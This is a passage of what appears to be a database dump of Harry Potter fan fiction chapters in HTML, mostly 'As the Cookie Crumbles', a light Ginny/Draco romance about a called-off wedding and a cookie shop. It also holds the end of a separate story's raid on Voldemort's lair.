dunno,&#8221; the other said, glancing at his gaudy watch. &#8220;I hope it&#8217;s not too much longer though. If it is, then there won&#8217;t be much of a party left by the time we&#8217;re able to get down there.&#8221; <br>\n\n\n<br>\n &#8220;Don&#8217;t I know it,&#8221; sighed the first Death Eater. &#8220;I was hoping to talk to Pansy, too. I bet that git Marley&#8217;s already gotten to her.&#8221; <br>\n\n\n<br>\n &#8220;Eh, what&#8217;d you want with a woman like her?&#8221; <br>\n\n\n<br>\n He chuckled. &#8220;I&#8217;ve been told she&#8217;s a quick lay, and I&#8217;ve been needing one. What with this bloody war still going on.&#8221; <br>\n\n\n<br>\n They guffawed together, not noticing the spells shot their way from the end of the corridor. Caught in mid-laugh, they both pitched forward to the floor. There was a sickly crunch of bone against stone as their faces hit the ground. Draco rounded the corner with the others following closely behind him, and they came to stop in front of the massive, dark oak doors that led into Voldemort&#8217;s innermost lair. <br>\n\n\n<br>\n &#8220;Does anyone feel like this might have been a bit too easy?&#8221; Ginny asked hesitantly, feeling snakes of fear slithering into her stomach. <br>\n\n\n<br>\n &#8220;Just a bit,&#8221; said Draco, lips thinning. <br>\n\n\n<br>\n Harry nodded. &#8220;The worst is yet to come though. We&#8217;ve yet to do any fighting.&#8221; <br>\n\n\n<br>\n Draco tapped his wand on the doorknobs and murmured spells, while the others waited with bated breath. He stopped and turned the knob and the door creaked open slowly. Hermione winced at the sound, and clenched her wand in her hand tightly, feeling Ron&#8217;s hand touch to her back lightly. She looked at him and smiled weakly. He gulped. <br>\n\n\n<br>\n Draco took a step forward into the room and found it utterly empty. Harry came in behind him and stared around the room, searching the dark corners and shadows that seemed to dance at them by the movement cast from the fire crackling ominously in the hearth. There were two high-backed leather chairs sitting in front of the fireplace, both empty. There were meeting tables scattered with books and parchment, quills, and ink bottles. There were shelves upon shelves of books lined up against the walls, each with titles as horrifying as the next. <br>\n\n\n<br>\n Hermione wandered into the room behind them, taking a step towards a bookshelf. Harry caught her arm as she reached towards a book. She jerked it back and eyed the shelves, itching to read the numerous dusty tomes. The twins came in and directed their wands towards the shadows muttering spells and illuminating them, showing them to be bare. Leaving Neville and Ron to bring up the rear, stepping into the room cautiously, shivering as the cold air hit them. The fire did little to warm the room. <br>\n\n\n<br>\n Ginny was standing near a meeting table, leaning over and peering at the scattered parchments. &#8220;I can&#8217;t believe this,&#8221; she said softly. <br>\n\n\n<br>\n &#8220;What is it?&#8221; Hermione asked, coming to stand next to her. Hermione gasped as she saw what was on the parchments, her eyes darted wildly to each. &#8220;I can see he&#8217;s getting inspiration from another evil dictator.&#8221; <br>\n\n\n<br>\n &#8220;What?&#8221; Harry said. &#8220;What are you talking about?&#8221; <br>\n\n\n<br>\n &#8220;These are plans,&#8221; Hermione said breathlessly. &#8220;Plans for&#8230;death camps for Muggle borns and half-bloods.&#8221; <br>\n\n\n<br>\n Draco lifted his eyebrows. &#8220;You are forgetting that he grew up in the forties.&#8221; <br>\n\n\n<br>\n &#8220;I know he did, but&#8230;&#8221; said Hermione, eyes wide. &#8220;He even has plans for&#8230;<i>detoxifying </i>magical lands that Muggles live on. He wants to kill off millions of Muggles to build a wizarding empire.&#8221; <br>\n\n\n<br>\n &#8220;This comes as a surprise to you?&#8221; Draco asked coldly. &#8220;Are you really so naive, Granger?&#8221; <br>\n\n\n<br>\n &#8220;Of course not,&#8221; she said slowly, looking away from the table. <br>\n\n\n<br>\n Chilly air flooded the room, and the light from the fireplace winked out. The oak doors slammed shut behind them, and in the darkness two, red, snake-like eyes glowed in the darkness. &#8220;Well, well, well,&#8221; the hoarse voice rasped. &#8220;What do we have here? Harry Potter and his Dream Team? And Malfoy? What a surprise.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n [A/N: Just one last note. I know I have yet to update my other stories, but, I&#8217;m planning on it. In fact, I\'ve already started on them. Rest assured there will be another chapter up on each of them (probably more!) by the end of the summer. ;) ] '),
	(100, 1, '\n<b>Disclaimer: </b>I don&#8217;t own anything. How often have I said this? Surely you all understand that by now. *sigh*\n\n<br><br><br>\n<center>\n<b><u>As the Cookie Crumbles</u><br>\nTossing My Cookies</b><br>\n<i>By VirtualFaerie</i>\n<br><br>\n<br><br>\n</center>\nGinny stood out on the balcony of her flat in Diagon Alley, her big shirt blowing around her in the wind. She looked up at the sky, which was a nice blue laced with big puffy clouds. In her hand, she had a bottle of Ogden&#8217;s Fire Whiskey and was taking lazy sips from it every ten seconds.\n<br><br>\n\n	She sighed loudly and hung further over the balcony and scratched her knee, frowning at it viciously. Yes, she was drunk, very drunk. From the door, the sounds of family and her friends calling on her Wiz-Phone was evident, they left numerous messages that she wasn&#8217;t even going to bother to answer.\n<br><br>\n\n	&#8220;Hello? Ginny? Come on, Ginny, you can&#8217;t stay home and mope all day,&#8221; she heard Charlie&#8217;s voice say. She hadn&#8217;t even heard from her mother yet, she&#8217;d probably been too ashamed to call her. \n<br><br>\n\n	Then there was Ron, who was torn, he didn&#8217;t know how to act. &#8220;Gins, let me take you to lunch, I don&#8217;t want you to lie around feeling sorry for yourself.&#8221;\n<br><br>\n\n	&#8220;Ha,&#8221; she said, swinging her bottle of fire whiskey around. &#8220;Feel sorry for myself? Now, why would I do a thing like that?&#8221;\n<br><br>\n\n	She was mumbling under her breath to herself so she didn&#8217;t see the snowy white owl that was heading her way. Ginny had brought the bottle up to her lips again and it swooped down whizzing past her head, making her cry out and topple over the edge of the balcony.\n<br><br>\n<br><br>\n<center>\n=========================\n<br><br></center>\n<br><br>\n\nDraco Malfoy was walking down the cobblestone sidewalk quickly, trying to get to work. He had already run into numerous people because he wasn&#8217;t watching where he was going. \n<br><br>\n\n	He did stop to buy a <i>Daily Prophet</i>, he grinned to himself as he read the front page. &#8220;<b><i>Harry Potter&#8217;s Bride has Cold Feet</i></b>.&#8221; From what he&#8217;d read, it was much more than just cold feet, she had called the entire wedding off. \n<br><br>\n\n	A shriek rang out through the morning air. He looked up quickly to see a figure fall over a balcony, its limbs flailing helplessly. &#8220;Oh, great,&#8221; he said as he noticed it was female and falling right over his head. He dropped his paper just in time to catch her in his arms.\n<br><br>\n\n	She looked up at him through a veil of long, red, curly hair. She blinked slowly and slurred, &#8220;Wow, you&#8217;re good at catching people.&#8221;\n<br><br>\n\n	Draco raised his eyebrows. &#8220;Well, yes, I guess you could say that.&#8221; He noticed a broken bottle of whiskey on the cobblestones and cursed under his breath. This woman was drunk.\n<br><br>\n\n	&#8220;It was very nice of you to catch me.&#8221; She said. &#8220;Just think, I could have broken my neck if you hadn&#8217;t.&#8221; Her head fell onto his chest, then it jerked right back up. &#8220;Who are you?&#8221; she demanded clumsily. &#8220;And why are you going around catching people?&#8221;\n<br><br>\n\n	He frowned at her, &#8220;What are you doing falling from buildings onto unsuspecting people?&#8221;\n<br><br>\n\n	She let out a loud wail. &#8220;It isn&#8217;t my fault. I swear.&#8221; She stopped to look at him and whisper confidentiality, &#8220;Today is my wedding day. Or, technically, it&#8217;s my non-wedding day considering I called it off.&#8221; She sighed. &#8220;I was only getting married to him because&#8230;.well&#8230;I thought I loved him&#8230;.&#8221; \n<br><br>\n\n	Draco just about dropped her on her butt. &#8220;What? Who were you getting married too?&#8221;\n<br><br>\n\n	She rolled her eyes, &#8220;<i>Harry Potter</i>.&#8221;\n<br><br>\n\n	Now he set her down on her feet carefully. He had just caught a Weasley. He wiped his hands on his robes, but didn&#8217;t really think that helped get the filth off much. But then again, this Weasley had to be better than the others, considering she turned down Harry Potter and all. \n<br><br>\n\n	He looked at her carefully, she was a mess. Her very red and very curly hair was all over the place, her eyes had dark circles under them and smudged eye make up all over the top portion of her face. He noticed that she had little beads of sweat on her eyebrows; she was going to be sick.\n<br><br>\n\n	&#8220;Eugh,&#8221; she clutched her stomach with one hand and looked up at him piteously. &#8220;I think I&#8217;m going to barf.&#8221;\n<br><br>\n<br><br>\n<center>\n=========================\n<br><br></center>\n<br><br>\n\nGinny knew the guy had somewhere to be, and she could help but feel guilty. He was holding her hair back for her as she puked her organs up in the trash dumpsters in the alley next to her apartment building. He was tapping his expensive shoe clad foot on the ground, waiting for her to finish. \n<br><br>\n\n	She wiped her mouth with the back of her hand and straightened to face him. She felt a great deal more sober now, even though she was still pretty drunk. She had a pretty good feeling that she was as pale as a ghost, with was probably making her ugly freckles stand out even more.\n<br><br>\n\n	&#8220;I&#8217;m sorry,&#8221; she croaked, still tasting the disgusting bile in her mouth. She hoped to Merlin that he couldn&#8217;t smell it too bad. It was embarrassing enough as it was.\n<br><br>\n\n	He gave her a look and just said, &#8220;You should lay off the liquor.&#8221; Then he left.  \n<br><br>\n\n	She stood in the alleyway watching him. His expensive black robes billowing our around his legs as he walked way. She sighed and hit her forehead gently with the palm of her hand. &#8220;Damn, I didn&#8217;t even get his name.&#8221;\n<br><br>\n\n	Ginny started back to her flat, wincing at the hard stones on her bare feet.\n<br><br>\n\n	&#8220;Ginny! Oi! Gins!&#8221; she turned around and saw Colin running at her. She groaned; she really didn&#8217;t want him to see her like this. &#8220;Good, Merlin, Gins, what have you been doing?&#8221;\n<br><br>\n\n	&#8220;Puking my brains out,&#8221; she said blinking at him.\n<br><br>\n\n	&#8220;Oh,&#8221; he put his hand on her arm. &#8220;Do you need me to help you back to your apartment?&#8221;\n<br><br>\n\n	&#8220;That would be lovely.&#8221;\n<br><br>\n\n	&#8220;And,&#8221; he wrinkled his eyebrows. &#8220;What are you doing out here in just a shirt? Puking no less?&#8221;\n<br><br>\n\n	&#8220;I&#8217;m wearing <i>underwear</i>, Colin, not just a shirt. For Merlin&#8217;s sake.&#8221; She gave him a long look. &#8220;Oh, and I fell over the balcony. That would be why I&#8217;m puking out here, and not in my flat.&#8221;\n<br><br>\n\n	&#8220;What?&#8221; he looked at her carefully. &#8220;You <i>fell</i> over the balcony.&#8221;\n<br><br>\n\n	&#8220;I do believe that&#8217;s what I just said.&#8221;\n<br><br>\n\n	&#8220;It&#8217;s just&#8212;how come you aren&#8217;t all bloodied up then?&#8221; asked Colin as he helped her up the stairs.\n<br><br>\n\n	&#8220;There was this really nice,&#8221; she paused, &#8220;and gorgeous guy that caught me.&#8221;\n<br><br>\n\n	Colin frowned, &#8220;Caught you? What was he doing?&#8212;Just standing around waiting to catch someone?&#8221;\n<br><br>\n\n	Ginny shrugged, &#8220;I don&#8217;t know. But he was very nice about it; he even held my hair back for me while I puked my brains out.&#8221;\n<br><br>\n\n	&#8220;Quit saying that,&#8221; Colin said wrinkling his nose.\n<br><br>\n\n	&#8220;What?&#8212;Puking my brains out?&#8221;\n<br><br>\n\n	&#8220;Yes, just exactly that.&#8221;\n<br><br>\n\n	Ginny patted his arm, &#8220;It&#8217;s okay, Colin. I didn&#8217;t <i>really</i> puke them out. They&#8217;re still in my skull, fully intact.&#8221;\n<br><br>\n\n	&#8220;I don&#8217;t know about that&#8230;&#8221; he said slowly. He sniffed her. &#8220;Have you been drinking?&#8221;\n<br><br>\n\n	She rolled her eyes at him. &#8220;So what if I have?&#8221;\n<br><br>\n\n	&#8220;Gods, Gin, you&#8217;re drunk.&#8221;\n<br><br>\n\n	&#8220;Thank you, Captain Obvious,&#8221; she said tripping over her feet, swaying over the stair rail. Colin caught her arm and hauled her back before she could fall over that too.\n<br><br>\n\n	&#8220;You sure are smarmy when you&#8217;re drunk,&#8221; Colin said, opening to door of her flat and leading her inside. &#8220;You go take a shower and I&#8217;ll make you some tea.&#8221; He shoved her towards the bathroom gently. &#8220;Go on now.&#8221; He looked around the kitchen with mild disgust, there were liquor bottles everywhere.\n<br><br>\n\n	&#8220;You&#8217;d think,&#8221; he said to himself. &#8220;That since she was doing the jilting, she might not be so miserable.&#8221; He shook his head and found her trash can, throwing all the bottles into it, causing loud clinks to ring out through the flat.\n<br><br>\n	\n&gt;.&lt;\nbr&gt;<br>\n\nColin heard the shower cut off and Ginny making odd noises in the bathroom. He looked towards her bathroom worriedly, but didn&#8217;t move to go in there. He finished cleaning in the kitchen only to find that there were more liquor bottles in the living room. He sighed and dragged the trash can in there.\n<br><br>\n\n	The springs in Ginny&#8217;s mattress creaked. Colin shook his head, &#8220;No way am I cleaning up this mess by myself if she&#8217;s out.&#8221; He left the trash can in the middle of the room and walked to Ginny&#8217;s knocking gently on the door. She didn&#8217;t answer. He pushed the door open and saw her lying on the bed, her robe wrapped around her. She was snoring.\n<br><br>\n\n	&#8220;Good Gods,&#8221; he said. &#8220;She has no tolerance for alcohol.&#8221; He shook his head and went back to cleaning.\n<br><br>\n<br><br>\n<center>\n==========================\n<br><br></center>\n<br><br>\n\nDraco ran his fingers through his soft, pale blond hair. He grumbled low in his throat as he looked down at the parchments in front of him. \n<br><br>\n\n	&#8220;Parkinson!&#8221; he barked.\n<br><br>\n\n	Pansy scrambled in looking very flustered. He narrowed his eyes at her. &#8220;Yes, Mr. Malfoy?&#8221; She had taken to calling him Mr. Malfoy now that she worked for him. There was nothing that got on his nerves more.\n<br><br>\n\n	He tried not to yell out at her. He&#8217;d already had a pretty stressful morning, catching a Weasley out of midair and all. &#8220;We need catering for the meeting on Friday.&#8221;\n<br><br>\n\n	&#8220;What kind?&#8221; she asked, summoning a quill and pad from her desk.\n<br><br>\n\n	&#8220;Just the snack kind, it&#8217;s going to be lasting through lunch. I figured we could take a break for everyone to go get lunch. But they might be hungry later,&#8221; said Draco. When Pansy didn&#8217;t say anything, he blinked at her, &#8220;I want you to find somewhere that can cater a small snack type thing.&#8221;\n<br><br>\n\n	&#8220;Oh,&#8221; she said nodding. She thought for a moment, &#8220;How about that Cookie Shoppe? They&#8217;ve got the best cookies I&#8217;ve ever had.&#8221;\n<br><br>\n\n	He furrowed his eyebrows, &#8220;That really small one?&#8221;\n<br><br>\n\n	&#8220;Yes, it&#8217;s great. And I think they cater.&#8221;\n<br><br>\n\n	Draco shrugged, &#8220;That&#8217;s okay I guess.&#8221;\n<br><br>\n\n	Pansy grinned at him, &#8220;Okay, I&#8217;ll get right on it.&#8221;\n<br><br>\n\n	&#8220;Don&#8217;t break it,&#8221; he mumbled under her breath as she left his office.\n<br><br>\n<br><br>\n<center>\n========================\n<br><br></center>\n<br><br>\n\nGinny was going to die. Or at least that&#8217;s what she felt like doing. Her head was pounding with a skull splitting headache, and she had stomach-turning nausea. &#8220;Aghh,&#8221; she groaned clutching her head. \n<br><br>\n\n	Colin poked his head in the door. &#8220;You up?&#8221;\n<br><br>\n\n	His words echoed through her head like thunder. &#8220;Yes,&#8221; she said wincing.\n<br><br>\n\n	&#8220;Does your head hurt?&#8221; he asked innocently.\n<br><br>\n\n	She glared at him, &#8220;Yes, yes, actually it does.&#8221;\n<br><br>\n\n	&#8220;Oh,&#8221; he said smiling. &#8220;Well, I&#8217;ve made you some tea. Want to see if helps any?&#8221;\n<br><br>\n\n	&#8220;I&#8217;d be willing to try anything,&#8221; she said getting out of bed. A wave of nausea came over her and she bolted to the bathroom. Colin could hear her retching and went to get her a glass of water. He brought it to her, seeing her sitting on the very edge of the toilet seat, lid down. She was pale and shaking, her freckles standing out fiercely. &#8220;On second thought,&#8221; she croaked. &#8220;I&#8217;ll be willing to try anything <i>but</i> something that contains alcohol.&#8221; \n<br><br>\n\n	Colin nodded, &#8220;That might be wise.&#8221;\n<br><br>\n\n	&#8220;Oh, shove off,&#8221; she said as he handed her the glass of water. She gulped it down and her eyes widened, &#8220;No, no, stay,&#8221; she jumped off the toilet and jerked the lid open again. Colin sighed and took her hair in his hands.\n<br><br>\n\n	&#8220;You know,&#8221; he said conversationally. &#8220;It seems like you&#8217;re the one who was left standing at the altar the way you&#8217;re acting.&#8221;\n<br><br>\n\n	She shook as she turned around to face him, wiping off her mouth with some toilet paper. &#8220;No, if I was the one left at the altar,&#8221; she said shakily. &#8220;I would be much, much worse.&#8221;\n<br><br>\n\n	&#8220;But you didn&#8217;t even love him,&#8221; Colin pointed out. &#8220;You said so yourself.&#8221;\n<br><br>\n\n	&#8220;The humiliation, Colin, the humiliation would make me worse.&#8221;\n<br><br>\n\n	&#8220;How do you think Harry&#8217;s feeling right now?&#8221; he asked.\n<br><br>\n\n	Ginny shrugged, &#8220;I&#8217;m not sure. But probably not as bad as me, considering we were both going to get married for the wrong reasons. Me calling it off was probably a relief to him.&#8221; \n<br><br>\n\n	Colin quirked his mouth noncommittally, &#8220;Whatever the case, I think you should come have some of this tea I made. Did I tell you I make really good tea?&#8221; he asked as he helped her up from the bathroom floor. &#8220;My mother says it&#8217;s the best in all of England.&#8221;\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n\n\n\n\n<b>Please Review!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n'),
	(100, 2, '\n\n<br><br>\n<b>Disclaimer:</b> Don&#8217;t own anything&#8230;..\n<br><br><center>\n<b><u>As the Cookie Crumbles</u><br>\nBurning My Cookie</b><br>\n<i>By VirtualFaerie</i><br><br><br>\n</center>\nGinny opened her cookie shop, Tasty Treats, a little late that day. Colin had to walk her down there because she was still a little woozy, even after her three cups of tea and at least four cups of orange juice. The little bell on the door jingled as they walked in.\n<br><br>\n	Colin went behind the counter with Ginny and hung up his jacket on one of the coat hangers. He looked around the clean kitchen. &#8220;Do you need any help today?&#8221;\n<br><br>\n\n	Ginny sighed and got out big bowls of cookie dough out of the refrigerator. &#8220;Yeah, that would be lovely considering how far behind I am.&#8221;\n<br><br>\n\n	Colin nodded and got some cookies sheets out of a cabinet. He&#8217;d helped Ginny in her little shop many times before, that&#8217;s what best friends did. &#8220;I was thinking about what you said earlier&#8230;&#8221; Ginny started. \n<br><br>\n\n	&#8220;What thing that I said?&#8221; asked Colin, scooping out dough and placing it on the pan. \n<br><br>\n\n	&#8220;About how I was acting like I was the one left standing at the altar.&#8221;\n<br><br>\n\n	&#8220;Yeah, what about it?&#8221;\n<br><br>\n\n	&#8220;Have you seen Harry since I called the wedding off?&#8221; She asked, &#8220;What is he like?&#8221;\n<br><br>\n\n	Colin sniffed, &#8220;I&#8217;ve seen him.&#8221; Ginny motioned for him to continue. &#8220;He&#8217;s doing okay, better than expected I guess.&#8221; He watched Ginny; she nodded dispassionately, grabbing a bag of flour out of her pantry. &#8220;Why?&#8221;\n<br><br>\n\n	&#8220;You just made me curious, that&#8217;s all,&#8221; she measured the amount and dumped it in a big mixing bowl.\n<br><br>\n\n	The Wiz-Phone rang and Ginny jumped up to answer it. &#8220;Hello?&#8221;\n	<br><br>\n\n	&#8220;Hello, this is Pansy Parkinson with Dragon Brooms. We&#8217;re having a meeting on Friday that we need snack catering for. Are you up for it?&#8221;\n<br><br>\n\n	&#8220;Snack catering? On Friday?&#8221; Ginny asked in disbelief, Dragon Brooms wanted her to cater? They were the top quidditch broom company in the world. She swallowed.\n<br><br>\n\n	&#8220;Yes,&#8221; snapped Pansy. &#8220;Can you do it or not?&#8221;\n<br><br>\n\n	&#8220;I can,&#8221; Ginny answered quickly. &#8220;What kind of snacks do you need? We do have other things besides cookies: sandwiches, cakes, breads, almost anything.&#8221; Ginny picked up her wand and summoned a quill and pad.\n<br><br>\n\n	&#8220;Sandwiches, tarts, cakes, breads, cookies, brownies, pastries, whatever,&#8221; Pansy said lazily. &#8220;Go all out, we&#8217;re going to be paying big bucks, there are a lot of influential people that are going to be sitting in on that meeting, so please, provide all of the best.&#8221;\n	<br><br>\n\n	 Ginny blinked, &#8220;How many people are going to be in the meeting?&#8221;\n<br><br>\n\n	&#8220;About 40, maybe a little less, depending on who&#8217;s going to show up.&#8221; \n<br><br>\n\n	&#8220;What time do you need all the food there?&#8221; Ginny scribbled the number of people on her pad.\n<br><br>\n\n	&#8220;Around four, tea time,&#8221; Pansy answered.\n<br><br>\n\n	&#8220;All right, Friday at four, all my best for forty,&#8221; Ginny repeated to her.\n<br><br>\n\n	&#8220;Yes, that&#8217;s right, do a good job, Weasley,&#8221; Pansy said curtly and hung up.\n<br><br>\n\n	Ginny turned around and looked at Colin with wide eyes. He furrowed his eyebrows and set down the spoon that he was holding, &#8220;What?&#8221; he asked.\n<br><br>\n\n	&#8220;I&#8217;m going to be catering for Dragon Brooms on Friday. Can you believe it?&#8221; Ginny asked. &#8220;They have got to be the biggest broom company out there. They&#8217;re the ones that crafted the Storm.&#8221;\n<br><br>\n\n	Colin&#8217;s eyes got really wide and his mouth made an &#8216;o&#8217; shape. &#8220;No way,&#8221; Ginny nodded. &#8220;Oh, my fucking gods,&#8221; he shook his head. &#8220;Think of the publicity.&#8221;\n<br><br>\n\n	&#8220;I know!&#8221; Ginny said excitedly. &#8220;And she said that they were going to be paying me big bucks. Can you believe it? --For my measly food? I don&#8217;t know why they didn&#8217;t order catering from the Candelabra; everyone knows they&#8217;ve got the best food in all of England.&#8221;\n<br><br>\n\n	Colin rolled his eyes at her, &#8220;You&#8217;ve got the best food; your shop is just so small that not many people take notice of it.&#8221;\n<br><br>\n\n	&#8220;Well,&#8221; said Ginny. &#8220;It&#8217;s not like I can afford a bigger one, especially not with what I&#8217;m making now, it&#8217;s hardly enough to pay my rent on my flat and the rent for this building.&#8221; She sighed, &#8220;Maybe this job will help me out some.&#8221;\n<br><br>\n\n	&#8220;You know it will, it&#8217;s Dragon fucking Brooms,&#8221; Colin said waving his arms around.\n<br><br>\n\n	&#8220;Colin,&#8221; Ginny said smiling. &#8220;Quit saying that.&#8221;\n<br><br>\n\n	&#8220;What? Fuck?&#8221; He asked innocently. She rolled her eyes at him and went back to making her dough. \n<br><br>\n<br><br>\n\n~*~\n<br><br>\n<br><br>\n\nGinny cranked up her radio as soon as she got home and was belting out silly love songs along with the Weird Sisters. She was bopping around her flat, picking up all the mess that she had made the day before, minus the liquor bottles that Colin had very kindly picked up for her.\n<br><br>\n\n	There was a knock on her door. She turned the radio down and went to answer it. It was Harry. &#8220;Well,&#8221; she said looking at him a bit curiously. &#8220;What can I help you with? Do you want to come in?&#8221;\n<br><br>\n\n	&#8220;Sure,&#8221; he said and stepped in; taking in the trash can full of bottles. &#8220;Have you been okay?&#8221;\n<br><br>\n\n	&#8220;I think I should be the one to ask you if you&#8217;re okay,&#8221; Ginny said walking into the kitchen and putting a kettle on to boil for tea. &#8220;I was the one that called off the wedding.&#8221; She looked at him, &#8220;You aren&#8217;t too upset about that are you?&#8221;\n<br><br>\n\n	&#8220;I think it was mostly the fact that I wasn&#8217;t expecting it. It&#8217;s okay now,&#8221; he sighed and raked his fingers through his hair. &#8220;I guess it wouldn&#8217;t have worked out anyways.&#8221; He grinned, &#8220;I think Rita Skeeter would have even more of field day if I got a divorce, well, more of one than she got with you just calling off the wedding.&#8221;\n<br><br>\n\n	&#8220;No hard feelings?&#8221; Ginny asked, frowning at him slightly. &#8220;I think by the time that I called it off that we both knew it wouldn&#8217;t work out.&#8221;\n<br><br>\n\n	Harry shrugged, &#8220;No hard feelings. But that isn&#8217;t what I came here for.&#8221; He swallowed and looked at her, &#8220;I came about my mum&#8217;s bracelet; I think you still have it.&#8221; Ginny looked at him, a faint smile on her lips. &#8220;Do you think maybe I could have it back?&#8221;\n<br><br>\n\n	&#8220;Gods Harry,&#8221; Ginny said a bit indignantly, &#8220;I should think so, I wouldn&#8217;t want to take your mother&#8217;s bracelet from you.&#8221;\n<br><br>\n\n	Harry blushed and rubbed the back of his neck. &#8220;It&#8217;s not that&#8230;it&#8217;s just&#8230;&#8221;\n<br><br>\n\n	She smiled and patted his arm, &#8220;I know, I know, it&#8217;s okay, I really wouldn&#8217;t want to keep it from you. I know how much it means to you.&#8221; She led him back to her room and started searching through her jewelry box.\n<br><br>\n	\n	&#8220;Thanks, Gin,&#8221; he said, sitting on her rumpled bed. &#8220;I&#8217;m really sorry that it didn&#8217;t work out&#8230;I really thought it would.&#8221;\n<br><br>\n\n	Ginny sighed, &#8220;I said don&#8217;t worry about it. I&#8217;m becoming a bit worried that you aren&#8217;t angry with me. All those articles and such, especially that one in <i>Witch Weekly</i>, did you see it? It was horrible.&#8221;\n<br><br>\n\n	The corner of his mouth quirked, &#8220;Those things have been written about me all my life. I&#8217;ve sort of gotten used to them.&#8221;\n<br><br>\n\n	&#8220;Oh,&#8221; said Ginny. &#8220;I supposed you would have.&#8221; She pulled Lily&#8217;s bracelet out of her jewelry box and handed it to Harry. &#8220;Here you go, good as new.&#8221;\n<br><br>\n\n	&#8220;Thanks,&#8221; Harry said, standing up. &#8220;Well, I should be going now&#8230;.&#8221;\n<br><br>\n\n	&#8220;You sure you don&#8217;t want to stay for tea?&#8221; Ginny asked, leading him back into the living room.\n<br><br>\n\n	&#8220;I&#8217;m afraid I can&#8217;t,&#8221; he gave her a small smile. &#8220;I have a date.&#8221;\n<br><br>\n\n	Ginny&#8217;s eyebrows shot up, &#8220;Oh really? With who? Oh, tell me, tell me, tell me!&#8221; she demanded making him sit on the couch and scurrying off into the kitchen, returning with two cups of tea. &#8220;You<i> have</i> to. I promise that as soon as you tell me I&#8217;ll let you go, really.&#8221;\n<br><br>\n\n	Harry blushed, &#8220;Well, it&#8217;s not really that much of a date&#8230;&#8221;\n<br><br>\n\n	&#8220;Ugh! Harry Potter, don&#8217;t be getting all modest on me<i> now</i>!&#8221; Ginny said grinning and taking a sip of her tea. &#8220;Yeow!!!&#8221; She bolted up off of the couch, managing to spill hot tea all down her front. Her tongue was hanging out of her mouth and she was trying, unsuccessfully, to fan both it and her drenched front. Harry was laughing so hard that he was doubled over. &#8220;Harry! Help me!&#8221; she said hopping around and fanning herself.\n<br><br>\n\n	&#8220;Sorry,&#8221; he choked out. He pulled out his wand and murmured a drying spell.\n<br><br>\n\n	&#8220;Gods,&#8221; she said, her voice slightly altered by the fact that her tongue was sticking out of her mouth in a weird sort of angle. &#8220;I think I&#8217;ve lost all of my taste buds and I might have burns!&#8221; she sat back down on her couch. \n<br><br>\n\n	Harry grinned, &#8220;Well, I think I should be going now. I&#8217;ll let you nurse that tongue of yours.&#8221; He stood up.\n<br><br>\n\n	She waggled her eyebrows at him, &#8220;Sure you don&#8217;t want to help?&#8221;\n<br><br>\n\n	Harry laughed, &#8220;See you later, Ginny.&#8221;\n<br><br>\n\n	&#8220;Yes, well, alright,&#8221; she said. &#8220;I guess I&#8217;ll just have to call Colin over here to help me.&#8221; Harry gave her one last smile before he walked out of the door.\n<br><br>\n\n	&#8220;Damn!&#8221; she pounded her fist against the couch cushions. &#8220;I don&#8217;t know who he&#8217;s going on that date with.&#8221; She leapt off of the couch and scrambled to the door, her feet sliding on the wooden floor. She flung the door open, but he was already gone. &#8220;Damn, damn, damn.&#8221; \n<br><br>\n\n	She slammed the door and picked up her phone. &#8220;Yes, Colin,&#8221; she said into it. \n<br><br>\n\n	Colin suppressed a laugh, &#8220;What&#8217;s wrong with your tongue?&#8221;\n<br><br>\n\n	&#8220;Oh shut it,&#8221; she growled, only the effect was ruined due to her disabled tongue, smiling. &#8220;Can you come over here? Please?&#8221;\n<br><br>\n\n	&#8220;I guess I could,&#8221; Colin apparated into her living room, still holding his phone to his ear, grinning at her.\n<br><br>\n\n	&#8220;You&#8217;re stupid,&#8221; she said.\n<br><br>\n\n	&#8220;You sound funny,&#8221; he said chuckling.\n<br><br>\n\n	She grinned, &#8220;Wanna fix it? My tongue needs some nursing?&#8221; She waggled her eyebrows again.\n<br><br>\n\n	Colin just laughed at her. &#8220;You&#8217;re crazy right? I&#8217;m not nursing<i> your</i> tongue.&#8221;\n<br><br>\n\n	&#8220;Fine then, be that way. See if I ever nurse yours,&#8221; Ginny said glaring at him; yet again the effect was ruined because her tongue was still sticking out of her mouth. \n<br><br>\n\n	By now, Colin was rolling on the floor laughing. She kicked him in his side and went to shut herself and her disabled tongue in her room. \n<br><br>\n<br><br>\n<br><br>\n<b>A/N:</b> Thanks for reviewing!\n<br><br>\n\n\n<br><br><br>\n\n\n<br><br><br><br>\n\nPlease review!!!!\n'),
	(100, 3, '\n<b>Disclaimer:</b>I don&#8217;t own anything&#8230;.<br><br><br><br>\n<center>\n<b><u>As the Cookie Crumbles</u><br>\nChapter Three&#8212;Not a Cookie This Time, Just a Pie</b><br>\n<i>By VirtualFaerie</i>\n<br><br><br><br></center>\nGinny was standing in front of the oven, watching her final batch of cookies, as if she could will them into turning out perfectly, into being impeccably golden brown. Without looking from her cookies, she said to Colin, &#8220;Can you check the sandwiches one more time? I think some of the&#8212;&#8217;&#8217; \n<br><br>\n&#8220;Ginny,&#8221; Colin said as patiently as he could. &#8220;You&#8217;ve already gone around and measured each sandwich with a<i> ruler</i>, and twice at that. You&#8217;re worrying too much I tell you.&#8221; Colin put his hands on her shoulders and dragged her away from the oven. &#8220;I think you need to relax a bit before you go in to serve.&#8221; \n<br><br>\n&#8220;Oh, Colin,&#8221; Ginny said, lowering her eyebrows worriedly. &#8220;Will you go with me? Please? I&#8217;ll pay you, I swear.&#8221; She looked up at him pleadingly.\n<br><br>\nColin rolled his eyes. &#8220;Of course I&#8217;ll help you. You don&#8217;t have to pay me, come on Gins, I thought you knew me better than that.&#8221; He winked at her. &#8220;I&#8217;ll get those cookies out for you and you can go get ready. I know how long you girls take.&#8221; She shot him a dubious look. &#8220;Go on now,&#8221; he swatted at her butt.\n<br><br>\nShe grinned at him and apparated to her flat. She landed on the couch a bit haphazardly, but then, she&#8217;d never really been all that great at apparating. She went into her bedroom and searched through her closet for her Tasty Treat robes. She found them in the very back, a bit dusty. She never wore them to work, she didn&#8217;t really need to, anyone that came in her shop knew her and knew that she was the owner. She said a cleaning spell and shrugged the robes on over her jeans and t-shirt, she didn&#8217;t see a reason to change those, it wasn&#8217;t like anyone was going to see them under her robes.\n<br><br>\nShe went into the bathroom and rummaged around in the drawers looking for some muggle mascara that Hermione had given her, it worked wonders and she didn&#8217;t even have to remember a spell when she used it, she just had to remember where she put it. &#8220;Stupid&#8230;&#8221; she mumbled under her breath. &#8220;Where could I have put it?&#8221;\n<br><br>\nHer head shot up and she remembered, causing 